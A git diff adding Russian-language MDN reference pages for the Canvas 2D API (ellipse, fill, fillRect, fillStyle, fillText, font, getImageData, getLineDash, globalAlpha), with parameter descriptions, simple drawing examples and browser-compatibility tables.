SVGImageElement как источник{{CompatChrome(59)}}{{CompatChrome(59)}}{{CompatUnknown}}{{CompatGeckoMobile(56)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Сглаживание при сжатии{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(56)}}[1]{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +

[1] См. {{bug(1360415)}}

+ +

Дополнительно о совместимости

+ + + +

Дополнительно

+ + + +

См. также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html new file mode 100644 index 0000000000..17b037d4f0 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html @@ -0,0 +1,139 @@ +--- +title: CanvasRenderingContext2D.ellipse() +slug: Web/API/CanvasRenderingContext2D/ellipse +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Справка + - метод +translation_of: Web/API/CanvasRenderingContext2D/ellipse +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.ellipse() - метод Canvas 2D API, который добавляет эллиптическую дугу к текущему подпространству.

+ +

Синтаксис

+ +
void ctx.ellipse(x, y, radiusX, radiusY, rotation, startAngle, endAngle [, anticlockwise]);
+
+ +

ellipse() - метод, который создает эллиптическую дугу с центром в точках (x, y) с радиусом radiusX и radiusY. Путь начинается от точки startAngle и заканчивается в точке endAngle, идет по направлению, казанному в параметре (по часовай срелке или против нее) anticlockwise .

+ +

Параметры

+ +
+
x
+
Координата центра эллипса по оси x (горизонтальная).
+
y
+
Координата центра эллипса по оси y (вертикальная).
+
radiusX
+
Радиус оси x эллипса. Должен быть неотрицательным.
+
radiusY
+
Радиус оси y эллипса. Должен быть неотрицательным.
+
rotation
+
Вращение эллипса, выраженное в радианах.
+
startAngle
+
Угол, под которым начинается эллипс, измеряется по часовой стрелке от положительной оси x и выражается в радианах.
+
endAngle
+
Угол, под которым эллипс заканчивается, измеряется по часовой стрелке от положительной оси x и выражается в радианах.
+
anticlockwise {{optional_inline}}
+
Опция {{jsxref("Boolean")}}, которая при true, рисует эллипс против часовой стрелки (counter-clockwise). Значение по умолчанию равно false  - рисование по часовой стрелке (clockwise).
+
+ +

Примеры

+ +

Рисование полного эллипса

+ +

Этот пример рисует эллипс под углом π / 4 Радианы (45°). Чтобы сделать полный эллипс, дуга начинается под углом 0 радианов (0°) и заканчивается под углом 2π радианов (360°).

+ +

HTML

+ +
<canvas id="canvas" width="200" height="200"></canvas>
+
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Рисование эллипса
+ctx.beginPath();
+ctx.ellipse(100, 100, 50, 75, Math.PI / 4, 0, 2 * Math.PI);
+ctx.stroke();
+
+// Рисование линии отражения эллипса
+ctx.beginPath();
+ctx.setLineDash([5, 5]);
+ctx.moveTo(0, 200);
+ctx.lineTo(200, 0);
+ctx.stroke();
+
+ +

Результат

+ +

{{ EmbedLiveSample('Drawing_a_full_ellipse', 700, 250) }}

+ +

Различные эллиптические дуги

+ +

В этом примере создаются три эллиптических контура с различными свойствами.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'red';
+ctx.beginPath();
+ctx.ellipse(60, 75, 50, 30, Math.PI * .25, 0, Math.PI * 1.5);
+ctx.fill();
+
+ctx.fillStyle = 'blue';
+ctx.beginPath();
+ctx.ellipse(150, 75, 50, 30, Math.PI * .25, 0, Math.PI);
+ctx.fill();
+
+ctx.fillStyle = 'green';
+ctx.beginPath();
+ctx.ellipse(240, 75, 50, 30, Math.PI * .25, 0, Math.PI, true);
+ctx.fill();
+
+ +

Результат

+ +

{{ EmbedLiveSample('Various_elliptical_arcs', 700, 180) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-ellipse", "CanvasRenderingContext2D.ellipse")}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость браузера

+ + + +

{{Compat("api.CanvasRenderingContext2D.ellipse")}}

+ +

Изучите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/fill/index.html b/files/ru/web/api/canvasrenderingcontext2d/fill/index.html new file mode 100644 index 0000000000..25cc791848 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/fill/index.html @@ -0,0 +1,127 @@ +--- +title: CanvasRenderingContext2D.fill() +slug: Web/API/CanvasRenderingContext2D/fill +tags: + - API + - Canvas + - Method + - Reference + - Справка + - метод +translation_of: Web/API/CanvasRenderingContext2D/fill +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.fill() метод Canvas 2D API заполняет текущий или заданный путём с текущим стилем заливки, используя одно из двух правил - ненулевого индекса или четно-нечетное.

+ +

Синтаксис

+ +
void ctx.fill([fillRule]);
+void ctx.fill(path[, fillRule]);
+
+ +

Параметры

+ +
+
fillRule
+
Выбор алгоритма заливки фигуры
+ Возможные значения: + +
+
path
+
{{domxref("Path2D")}} путь для заливки.
+
+ +

Пример

+ +

Использование метода fill

+ +

Это всего лишь простой фрагмент кода, который использует метод fill для заполнения пути.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+
+ +

Отредактируйте приведенный ниже код и посмотрите, как обновляется ваше обновление на холсте:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.rect(10, 10, 100, 100);
+ctx.fill();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Характеристики

+ + + + + + + + + + + + + + +
ХарактеристикаСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fill", "CanvasRenderingContext2D.fill")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость

+ + + +

{{Compat("api.CanvasRenderingContext2D.fill")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/fillrect/index.html b/files/ru/web/api/canvasrenderingcontext2d/fillrect/index.html new file mode 100644 index 0000000000..54a27df26c --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/fillrect/index.html @@ -0,0 +1,175 @@ +--- +title: CanvasRenderingContext2D.fillRect() +slug: Web/API/CanvasRenderingContext2D/fillRect +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Method + - Reference +translation_of: Web/API/CanvasRenderingContext2D/fillRect +--- +
{{APIRef}}
+ +

Метод CanvasRenderingContext2D.fillRect(), предоставляемый Canvas 2D API, рисует залитый прямоугольник в позиции (x, y), размер которого определяется аргументами width и height, и стиль которого определяется атрибутом {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}}.

+ +

Синтаксис

+ +
void ctx.fillRect(x, y, width, height);
+
+ +

Параметры

+ +
+
x
+
Координата начальной точки прямоугольника по оси x.
+
y
+
Координата начальной точки прямоугольника по оси y.
+
width
+
Ширина прямоугольника.
+
height
+
Высота прямоугольника.
+
+ +

Примеры

+ +

Использование метода fillRect

+ +

Ниже представлен простой фрагмент кода, использующий метод fillRect.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+
+// залить canvas целиком
+// ctx.fillRect(0, 0, canvas.width, canvas.height);
+
+ +

Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillrect", "CanvasRenderingContext2D.fillRect")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html b/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html new file mode 100644 index 0000000000..791c8fed7c --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html @@ -0,0 +1,127 @@ +--- +title: CanvasRenderingContext2D.fillStyle +slug: Web/API/CanvasRenderingContext2D/fillStyle +tags: + - API + - Canvas + - Property +translation_of: Web/API/CanvasRenderingContext2D/fillStyle +--- +
{{APIRef}}
+ +

Свойство CanvasRenderingContext2D.fillStyle, предосталяемое Canvas 2D API, задает цвет или стиль, используемый при заливке фигур. По умолчанию установлено значение #000 (черный цвет).

+ +
+

См. также главу Applying styles and color в Canvas Tutorial.

+
+ +

Синтаксис

+ +
ctx.fillStyle = color;
+ctx.fillStyle = gradient;
+ctx.fillStyle = pattern;
+
+ +

Значения

+ +
+
color
+
{{domxref("DOMString")}} строка, содержащая цвет в формате, поддерживающимся стандартом CSS ({{cssxref("<color>")}}).
+
gradient
+
Объект класса {{domxref("CanvasGradient")}} (линейный или круговой градиент ).
+
pattern
+
Объект класса {{domxref("CanvasPattern")}} (повторяющееся изображение).
+
+ +

Примеры

+ +

Изменение цвета заливки фигуры

+ +

Ниже представлен простой фрагмент кода, использующий fillStyle с цветом.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'blue';
+ctx.fillRect(10, 10, 100, 100);
+ +

Результат

+ +

{{ EmbedLiveSample('Изменение_цвета_заливки_фигуры', 700, 160) }}

+ +

Использование fillStyle в циклах for

+ +

В этом примере мы используем два цикла для рисования сетки из прямоугольников, каждый из которых будет закрашен разным цветом. Получившееся изображение должно выглядеть как на скриншоте . Здесь нет ничего сложного. Мы используем две переменные i и j, чтобы создать уникальный цвет для каждого квадрата, смешивая красный и зеленый цвета. Значение синего цвета изменяться не будет. Изменяя значения цветов, вы можете создать все цвета. Увеличив количество шагов, вы сможете создать цветовую палитру, наподобие той, которая используется в Photoshop.

+ + + +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+for (let i = 0; i < 6; i++) {
+  for (let j = 0; j < 6; j++) {
+    ctx.fillStyle = `rgb(
+        ${Math.floor(255 - 42.5 * i)},
+        ${Math.floor(255 - 42.5 * j)},
+        0)`;
+    ctx.fillRect(j * 25, i * 25, 25, 25);
+  }
+}
+ +

Результат:

+ +

{{EmbedLiveSample("Использование_fillStyle_в_циклах_for", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillstyle", "CanvasRenderingContext2D.fillStyle")}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость

+ + + +

{{Compat("api.CanvasRenderingContext2D.fillStyle")}}

+ +

В браузерах на основе WebKit и Blink реализован устаревший и нестандартный метод ctx.setFillColor() в дополнение к этому.

+ + + +

В браузерах на базе Webkit и Blink помимо этого свойства, также поддержвается нестадартный метод ctx.setFillColor().

+ +
setFillColor(color, optional alpha);
+setFillColor(grayLevel, optional alpha);
+setFillColor(r, g, b, a);
+setFillColor(c, m, y, k, a);
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html new file mode 100644 index 0000000000..8a56e89043 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html @@ -0,0 +1,172 @@ +--- +title: CanvasRenderingContext2D.fillText() +slug: Web/API/CanvasRenderingContext2D/fillText +translation_of: Web/API/CanvasRenderingContext2D/fillText +--- +
{{APIRef}}
+ +

Метод CanvasRenderingContext2D.fillText(), предоставляемый Canvas 2D API, рисует (заливает) заданный текст в заданной позиции (x, y). Если указан необязательный четвертый параметр, текст будет масштабироваться в соответветствие с указанной максимальной шириной.

+ +

См. также метод {{domxref("CanvasRenderingContext2D.strokeText()")}} для выполнения обводки текста.

+ +

Синтаксис

+ +
void ctx.fillText(text, x, y [, maxWidth]);
+
+ +

Параметры

+ +
+
text
+
Текст, использующий для визуализации следующие свойства: {{domxref("CanvasRenderingContext2D.font","font")}}, {{domxref("CanvasRenderingContext2D.textAlign","textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline","textBaseline")}} и {{domxref("CanvasRenderingContext2D.direction","direction")}}.
+
+ +
+
x
+
Коодрдината левой нижней точки текста по оси x.
+
y
+
Коодрдината левой нижней точки текста по оси y.
+
maxWidth {{optional_inline}}
+
Максимальная ширина текста.  Если ширина надписи больше параметра, текст масштабируется по горизонатли, или, если это невозможно (надпись становится нечитамой), уменьшается размер шрифта.
+
+ +

Примеры

+ +

Использование метода fillText

+ +

Ниже представлен простой фрагмент кода, использующий fillText.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.font = "48px serif";
+ctx.fillText("Hello world", 50, 100);
+
+ +

Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.font = "48px serif";
+ctx.fillText("Hello world", 50, 100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
+

Спецификация

+ 		СтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-filltext", "CanvasRenderingContext2D.fillText")}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop("1.9.1") }}{{ CompatIE(9) }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("1.9.1") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/font/index.html b/files/ru/web/api/canvasrenderingcontext2d/font/index.html new file mode 100644 index 0000000000..0f61487769 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/font/index.html @@ -0,0 +1,94 @@ +--- +title: CanvasRenderingContext2D.font +slug: Web/API/CanvasRenderingContext2D/font +tags: + - API + - Canvas + - Property +translation_of: Web/API/CanvasRenderingContext2D/font +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.font – свойство Canvas 2D API, определяющее  текущие стили рисуемого текста. Это строка, которая использует синтаксис CSS font.

+ +

Синтаксис

+ +
ctx.font = value;
+
+ +

Опции

+ +
+
value
+
Строка {{domxref("DOMString")}} с разобранным CSS {{cssxref("font")}} значением. Значение по-умолчанию – "10px sans-serif".
+
+ +

Примеры

+ +

Использование пользовательского шрифта

+ +

Этот пример задает в своействе font другие font-size и font-family.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.font = 'bold 48px serif';
+ctx.strokeText('Hello world', 50, 100);
+
+ +

Результат

+ +

{{ EmbedLiveSample('Использование_пользовательского_шрифта', 700, 180) }}

+ +

Загрузка шрифта с помощью CSS Font Loading API

+ +

С помощью {{domxref("FontFace")}} API, вы можете явно загрузить шрифт перед использованием его в canvas.

+ +
let f = new FontFace('test', 'url(x)');
+
+f.load().then(function() {
+  // Ready to use the font in a canvas context
+});
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-font", "CanvasRenderingContext2D.font")}}{{Spec2('HTML WHATWG')}}
+ +

Поддержка браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.font")}}

+ +

Особенности Gecko

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html b/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html new file mode 100644 index 0000000000..879efff5f0 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html @@ -0,0 +1,108 @@ +--- +title: CanvasRenderingContext2D.getImageData() +slug: Web/API/CanvasRenderingContext2D/getImageData +tags: + - API + - Canvas + - Method +translation_of: Web/API/CanvasRenderingContext2D/getImageData +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.getImageData() - метод Canvas 2D API, возвращает объект {{domxref("ImageData")}}, представляющий базовые пиксельные данные для области холста, обозначенного прямоугольником, который начинается в точке (sx, sy) и имеет ширину sw и высоту sh.

+ +

Синтаксис

+ +
ImageData ctx.getImageData(sx, sy, sw, sh);
+
+ +

Параметры

+ +
+
sx
+
Координата x верхнего левого угла прямоугольника, из которого будет извлечен ImageData.
+
sy
+
Координата y верхнего левого угла прямоугольника, из которого будет извлечен ImageData.
+
sw
+
Ширина прямоугольника, из которого будет извлечен ImageData.
+
sh
+
Высота прямоугольника, из которого будет извлечен ImageData.
+
+ +

Возвращаемое значение

+ +

Объект {{domxref("ImageData")}}, содержащий данные изображения для данного прямоугольника холста.

+ +

Выбрасываемые ошибки

+ +
+
IndexSizeError
+
Выбрасывает, если аргумент высоты или ширины равен нулю.
+
SecurityError
+
The canvas contains or may contain pixels which were loaded from an origin other than the one from which the document itself was loaded. To avoid SecurityError being thrown in this situation, configure CORS to allow the source image to be used in this way. See Allowing cross-origin use of images and canvas.
+
+ +

Примеры

+ +

 

+ +

Getting image data from a canvas

+ +

This example draws a rectangle, and then uses getImageData() to grab a portion of the canvas.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +

The object retrieved by getImageData() has a width of 200 and a height of 100, for a total of 20,000 pixels. Of those pixels, most are either transparent or taken from off the canvas; only 5,000 of them are opaque black (the color of the drawn rectangle).

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+
+let imageData = ctx.getImageData(60, 60, 200, 100);
+ctx.putImageData(imageData, 150, 10);
+ +

Result

+ +

{{EmbedLiveSample("Getting_image_data_from_a_canvas", 700, 180)}}

+ +

 

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-getimagedata", "CanvasRenderingContext2D.getImageData")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.getImageData")}}

+ +

 

+ +

См также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html b/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html new file mode 100644 index 0000000000..8d1ad2b626 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html @@ -0,0 +1,79 @@ +--- +title: CanvasRenderingContext2D.getLineDash() +slug: Web/API/CanvasRenderingContext2D/getLineDash +translation_of: Web/API/CanvasRenderingContext2D/getLineDash +--- +
{{APIRef}}
+ +

Метод CanvasRenderingContect2D.getLineDash(), предоставляемый Canvas 2D API который возвращает текущий паттерн штриховки линии.

+ +

Синтаксис

+ +
ctx.getLineDash();
+ +

Возвращаемое значение

+ +

{{jsxref("Array")}} (массив) чисел которые обозначают расстояния рисования линий и разрывов (в еденицах пространства координат). Если число заданных элементов нечетное, то заданные элементы массива копируются и суммируются. Например, установив штрихи линии как [5, 15, 25] в результате мы получим [5, 15, 25, 5, 15, 25].

+ +

Примеры

+ +

Получение текущей настройки штриховки линии

+ +

Этот пример демонстрирует метод getLineDash().

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +

Используя {{domxref("CanvasRenderingContext2D.setLineDash()", "setLineDash()")}} задано, что шрихи состоят из отрезков в 10 еденииц и разрывами между ними в 20 едениц.

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.setLineDash([10, 20]);
+console.log(ctx.getLineDash());  // [10, 20]
+
+// Нарисовать штрихованную линию
+ctx.beginPath();
+ctx.moveTo(0, 50);
+ctx.lineTo(300, 50);
+ctx.stroke();
+
+ +

Результат

+ +

{{ EmbedLiveSample('Getting_the_current_line_dash_setting', 700, 180) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-getlinedash", "CanvasRenderingContext2D.getLineDash")}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.getLineDash")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html b/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html new file mode 100644 index 0000000000..452657ae7b --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html @@ -0,0 +1,140 @@ +--- +title: CanvasRenderingContext2D.globalAlpha +slug: Web/API/CanvasRenderingContext2D/globalAlpha +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Property + - Reference + - Свойства + - Ссылки +translation_of: Web/API/CanvasRenderingContext2D/globalAlpha +--- +
{{APIRef}}
+ +

Свойство CanvasRenderingContext2D.globalAlpha Canvas 2D API определяет альфа-(прозрачность) значение, которое будет применено к фигурам и картинкам до того как они будут отрисованы на холсте.

+ +
+

Смотрите также Applying styles and color в Canvas Tutorial.

+
+ +

Синтаксис

+ +
ctx.globalAlpha = value;
+
+ +

Параметры

+ +
+
value
+
Число между 0.0 (полная прозрачность) и 1.0 (полная непрозрачность), включительно. Дефолтное значение 1.0. Значение, не входящее в указанный диапазон, включая {{jsxref("Infinity")}} и {{jsxref("NaN")}}, не будут применены, и globalAlpha сохранит предыдущее значение или значение по-умолчанию.
+
+ +

Примеры

+ +

Отрисовка полупрозрачных фигур

+ +

В этом примере используется свойство globalAlpha для отрисовки двух полупрозрачных прямоугольников.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.globalAlpha = 0.5;
+
+ctx.fillStyle = 'blue';
+ctx.fillRect(10, 10, 100, 100);
+
+ctx.fillStyle = 'red';
+ctx.fillRect(50, 50, 100, 100);
+
+ +

Результат

+ +

{{ EmbedLiveSample('Drawing_translucent_shapes', 700, 180) }}

+ +

Наложение прозрачных фигур

+ +

Этот пример демонстрирует эффект наложения нескольних прозрачных фигур друг на друга. Мы начнем с отрисовки непрозрачного фона, состоящего из четырех разноцветных квадратов. Далее мы устанавливаем свойство globalAlpha равное 0.2 (20% прозрачности); Уровень прозрачности будет применен ко всем прозрачным фигурам. Затем мы используем цикл for для отрисовки нескольких кругов с увеличивающимися радиусами.

+ +

Для каждого нового круга прозрачность кругов, находящихся под ним,  уменьшается. Если вы увеличите количество шагов, тем самым увеличив количество кругов, фон в конечном итоге полностью исчезнет в центре изображения.

+ + + +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Рисуем фон
+ctx.fillStyle = '#FD0';
+ctx.fillRect(0, 0, 75, 75);
+ctx.fillStyle = '#6C0';
+ctx.fillRect(75, 0, 75, 75);
+ctx.fillStyle = '#09F';
+ctx.fillRect(0, 75, 75, 75);
+ctx.fillStyle = '#F30';
+ctx.fillRect(75, 75, 75, 75);
+ctx.fillStyle = '#FFF';
+
+// Устанавливаем уровень прозрачности
+ctx.globalAlpha = 0.2;
+
+// Рисуем круги
+for (let i = 0; i < 7; i++) {
+  ctx.beginPath();
+  ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true);
+  ctx.fill();
+}
+
+ +

{{EmbedLiveSample("Overlaying_transparent_shapes", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-globalalpha", "CanvasRenderingContext2D.globalAlpha")}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.CanvasRenderingContext2D.globalAlpha")}}

+ +

Gecko-specific notes

+ + + + + + + +

Читайте также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/index.html b/files/ru/web/api/canvasrenderingcontext2d/index.html new file mode 100644 index 0000000000..a683704e3a --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/index.html @@ -0,0 +1,449 @@ +--- +title: CanvasRenderingContext2D +slug: Web/API/CanvasRenderingContext2D +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Games + - Graphics + - NeedsTranslation + - Reference + - Référence(2) + - TopicStub +translation_of: Web/API/CanvasRenderingContext2D +--- +
{{APIRef}}
+ +

Интерфейс CanvasRenderingContext2D предоставляет контекст 2D рендеринга для поверхности рисования элемента {{ HTMLElement("canvas") }}.

+ +

Для того, чтобы получить объект этого интерфейса, следует вызвать метод {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} объекта <canvas>, передав ему в качестве первого аргумента строку "2d":

+ +
var canvas = document.getElementById('mycanvas');
+var ctx = canvas.getContext('2d');
+
+ +

После того, как получен контекст 2D рендеринга для элемента canvas, вы можете начать работу с ним. Например:

+ +
ctx.fillStyle = "rgb(200,0,0)";
+ctx.fillRect(10, 10, 55, 50);
+
+ +

Свойства и методы контекста 2D рендеринга представлены на боковой панели и далее по тексту. Кроме того, в руководстве по canvas содержится больше информации, примеров и ссылок на ресурсы по этой теме.

+ +

Рисование прямоугольников

+ +

Существует три метода, которые сразу же рисуют прямоугольники на холсте.

+ +
+
{{domxref("CanvasRenderingContext2D.clearRect()")}}
+
Для всех пикселей, находящихся внутри прямоугольника, определенного начальной точкой (x, y) и размерами (ширина, высота), устанавливает черный прозрачный цвет, стирая любое ранее нарисованное содержимое.
+
{{domxref("CanvasRenderingContext2D.fillRect()")}}
+
Рисует залитый прямоугольник в позиции (x, y), размеры которого определяются шириной width и высотой height.
+
